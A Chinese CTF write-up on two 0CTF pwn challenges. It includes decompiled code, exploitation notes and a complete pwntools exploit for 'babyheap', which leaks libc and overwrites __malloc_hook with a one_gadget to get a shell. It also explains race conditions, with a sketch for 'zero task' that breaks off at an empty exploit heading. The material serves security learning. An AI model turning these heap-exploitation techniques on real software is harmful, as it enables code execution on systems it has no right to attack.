这次的0ctf真的溃不成军,看了一些题心态爆炸

babyheap

题目

还是和前两年一个风格,不过将2018的漏洞去掉了,在update时会有一个字节的溢出,溢出内容不可控,只能是’\x00’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall get_str2(__int64 des, unsigned __int64 size)
{
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
ssize_t v4; // [rsp+18h] [rbp-8h]

if ( !size )
return 0LL;
v3 = 0LL;
while ( v3 < size )
{
v4 = read(0, (void *)(v3 + des), size - v3);
if ( v4 > 0 )
{
v3 += v4;
}
else if ( *__errno_location() != 11 && *__errno_location() != 4 )
{
break;
}
}
*(_BYTE *)(des + v3) = 0; --> here
return v3;
}

分析

当时只发现了这个漏洞,尝试了一会,当时想可能是需要把tcache填满或者把topchunk的size给消耗完(因为这次的size看上去比较小,有耗光的可能),但是没有思路在于假如将topchunk size消耗完有什么用。遂放弃。

今天有wp出来了,出乎意料的,漏洞点确实只有这一个且前面的想法都差不多没有跑偏,但是后面缺少的的思路才是重点。

前面通过将size耗光,此时再申请时会触发consolidate,同时将之前fastbins中的的chunk归入unsorted bin,这样就有了泄露libc的机会, 通过trigger consolidation 的操作使得unsorted bin刚好覆盖到未free的chunk上,以此来泄露libc,同时也因此拥有了相当于任意地址写的机会。

同时利用此漏洞将size放入fastbin中,将chunk分配到main_arena处修改topchunk地址到malloc_hook上修改即可

问题有:

  1. 申请chunk tcache与unsorted bin 的优先度?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

sh = process("./babyheap")
#sh = remote("111.186.63.20","10001")
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')#('libc-2.28.so')

def allocate(size):
sh.sendlineafter('Command: ','1')
sh.sendlineafter('Size: ',str(size))

def update(idx,size,con):
sh.sendlineafter('Command: ','2')
sh.sendlineafter('Index: ',str(idx))
sh.sendlineafter('Size: ',str(size))
sh.sendlineafter('Content: ',con)
def delete(idx):
sh.sendlineafter('Command: ','3')
sh.sendlineafter('Index: ',str(idx))

def show(idx):
sh.sendlineafter('Command: ','4')
sh.sendlineafter('Index: ',str(idx))

def shrink(size,cnt):
for i in xrange(cnt):
allocate(size)
update(i,size,'x'*size)

for i in xrange(cnt):
delete(i)

shrink(0x28,7)
shrink(0x48,7)
shrink(0x28,15) #--> which will be consolidate to unsorted bin
gdb.attach(sh)
for i in range(7): # 0-6
allocate(0x18)
update(i,0x17,'1'*0x17)

#gdb.attach(sh)
allocate(0x38) #7 # fastbins to unsorted bins and allocate from it; malloc_consolidate won't consolidate tcache bins;
#gdb.attach(sh)
update(7,0x38,'2'*0x38) #shrink topchunk to 0x200

allocate(0x18) #8
allocate(0x18) #9
for i in range(10,15): # 10 - 14
allocate(0x48)
update(i,0x47,'2'*0x47)
for i in range(1,7): #1-6
delete(i)
delete(9) #0x18
delete(0) #0x18
delete(8) #0x18
#gdb.attach(sh)
allocate(0x38) #0 # consolidate again !!!!!!!!! 因为此处之前的unsortedbin被shrink了,所以后面对unsorted bin的操作无法更新chunk 0的pre_size 位,造成在这次consolidate 的时候chunk 0尝试向后合并是根据自己没有更新成功的pre_size来合并的,所以出书先overflapping,从而可以泄露libc信息
#gdb.attach(sh)
show(10)
sh.recvuntil(': ')
leak_addr = u64(sh.recv(8))
print hex(leak_addr)
libc.address = leak_addr- 0x3ebca0
print hex(libc.address)
main_arena = libc.address+ 0x3ebc40
print hex(main_arena)
one_gadget = libc.address+ 0x4f322
print hex(one_gadget)
#------------------------------------------

for i in range(1,4): # 1 - 3
allocate(0x48)
update(i,0x47,'3'*0x47)

allocate(0x58) # 4
allocate(0x28) # 5 // put chunk5's address in the fastbins[0x30];
#gdb.attach(sh)
delete(5)
allocate(0x58) # 5
#gdb.attach(sh)
update(5,0x48,'\x00'*0x38+p64(0x31)+p64(0x51)) # fake fd to fastbin
allocate(0x28)
update(6,0x20,'\x00'*0x18+p64(0x21))
delete(1)
update(10,0x8,p64(main_arena+0x10))
allocate(0x48)
#gdb.attach(sh)
allocate(0x48)
update(8,0x48,'\x00'*0x40+p64(main_arena-0x38)) # edit topchunk upon malloc_hook
#gdb.attach(sh)
allocate(0x58)
#print hex(libc.symbols[''])
update(9,0x20,'\x00'*0x10+p64(one_gadget)+p64(libc.symbols['svc_run']+0x42))
allocate(0x58)
#gdb.attach(sh)


sh.interactive()

整个过程特别复杂,尤其是看不到指针的情况下,与2018一样需要慢慢捋,最好在纸上记录chunk地址与idx;
堆的一些地方还是有盲区,理解不够细致

zero task

这个是被做出来最多的pwn,条件竞争类型的,之前没有接触过,当时看到跑线程想到可能是这个,但是没去现学,不过还是得继续。

race condition

竞争条件是系统中的一种反常现象,由于现代Linux系统中大量使用并发编程,对资源进行共享,如果产生错误的访问模式,便可能产生内存泄露,系统崩溃,数据破坏,甚至安全问题。竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用,将发生竞争条件漏洞。

代码说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//myThreadTest
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>

int i = 1;
void *mythread1()
{
if(i == 1){
sleep(3);
if(i == 2)
printf("hack it!\n");
else
printf("you can try again!\n");
}
}
void *mythread2()
{
sleep(1);
i=2;
}

int main(int argc, const char *argv[])
{
pthread_t id1,id2;

pthread_create(&id1, NULL, (void *)mythread1,NULL);
pthread_create(&id2, NULL, (void *)mythread2,NULL);

pthread_join(id1,NULL);
pthread_join(id2,NULL);

return 0;
}

编译运行:

1
2
3
4
gcc test.c -o test  -lpthread        // linux 默认库不包含pthread,所以编译时需要添加lpthread

$ ./test
hack it!

这个例子比较简单,但是很清晰,可以说是两个并发流同时访问了对象i ,在线程一还未结束时(sleep(3)),线程三同时访问对象i并修改了i的值从而影响了线程一。

题目

三个功能:

1
2
3
4
5
6
7
int menu()
{
puts("1. Add task");
puts("2. Delete task");
puts("3. Go");
return printf("Choice: ");
}

add 功能: 先输入task id 与 加解密选择,然后malloc(0x70)的空间存放数据;之后进入加解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
printf("Task id : ", 0LL);
idx = get_num();
printf("Encrypt(1) / Decrypt(2): ");
method = get_num();



signed __int64 __fastcall enc_dec(int method, __int64 a2)
{
__int64 v3; // rsi
task *v4; // [rsp+0h] [rbp-30h]
__int64 v5; // [rsp+14h] [rbp-1Ch]

printf("Key : ", a2);
get_str2((__int64)v4->key, 32);
printf("IV : ", 32LL);
get_str2((__int64)&v4->IV, 16);
printf("Data Size : ", 16LL);


v5 = (unsigned int)get_num();
if ( (signed int)v5 <= 0 || (signed int)v5 > 0x1000 )
return 0LL;
*(_QWORD *)&v4->size = (signed int)v5;
*(_QWORD *)&v4[1].key[8] = EVP_CIPHER_CTX_new();

if ( method == 1 )
{
v3 = EVP_aes_256_cbc();
EVP_EncryptInit_ex(*(_QWORD *)&v4[1].key[8], v3, 0LL, (__int64)v4->key, (__int64)&v4->IV);
}
else
{
if ( method != 2 )
return 0LL;
v3 = EVP_aes_256_cbc();
EVP_DecryptInit_ex(*(_QWORD *)&v4[1].key[8], v3, 0LL, v4->key, &v4->IV);
}


v4->method = method;
v4->ptr = (__int64)malloc(*(_QWORD *)&v4->size);
if ( !v4->ptr )
exit(1);
printf("Data : ", v3);
get_str2(v4->ptr, *(_QWORD *)&v4->size);
return 1LL;
}

delete函数就是对id还有一点数据检验之后将之前申请的chunk free

go函数 通过一点检查,之后创建线程将之前的输入的task 跑起来

1
2
3
4
5
6
7
8
9
10
printf("Task id : ");
v1 = get_num();
for ( arg = (void *)str; arg; arg = (void *)*((_QWORD *)arg + 13) )
{
if ( v1 == *((_DWORD *)arg + 0x18) )
{
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, arg);
return __readfsqword(0x28u) ^ v4;
}
}

重点的start routine函数,开始便sleep(2),算是比较明显的条件竞争漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall __noreturn start_routine(void *a1)
{
int v1; // [rsp+14h] [rbp-2Ch]
__int128 v2; // [rsp+18h] [rbp-28h]
__int64 v3; // [rsp+28h] [rbp-18h]
__int64 v4; // [rsp+30h] [rbp-10h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
v2 = (unsigned __int64)a1;
v1 = 0;
v3 = 0LL;
v4 = 0LL;
puts("Prepare...");
sleep(2u);
memset(ptr_0, 0, 0x1010uLL);
if ( !(unsigned int)EVP_CipherUpdate(
*(_QWORD *)(v2 + 88),
ptr_0,
&v1,
*(_QWORD *)v2,
(unsigned int)*(_QWORD *)(v2 + 8)) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)ptr_0 + *((_QWORD *)&v2 + 1), &v1) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
puts("Ciphertext: ");
sub_107B(stdout, (__int64)ptr_0, *((unsigned __int64 *)&v2 + 1), 0x10uLL, 1uLL);
pthread_exit(0LL);
}

分析

知道条件竞争漏洞的存在,可以利用其泄露地址;虽然是存在加解密过程,但是因为知道是AES_256_CBC 加密,同时python具有这个加密模块,所以这个可以解决

同时还需要的是写地址,在申请add task时 ,每个task 会得到四个chunk 第一个和第四个分别是结构体的存储与data的存储;
第二三个结构体是加解密申请的结构体,大小分别为0xb0 与 0x110,其中有存放指针,key, 加密后的data;

通过伪造加解密的结构及利用tcache的特点将chunk分配到malloc_hook并写入one_gadget;

exp

1
2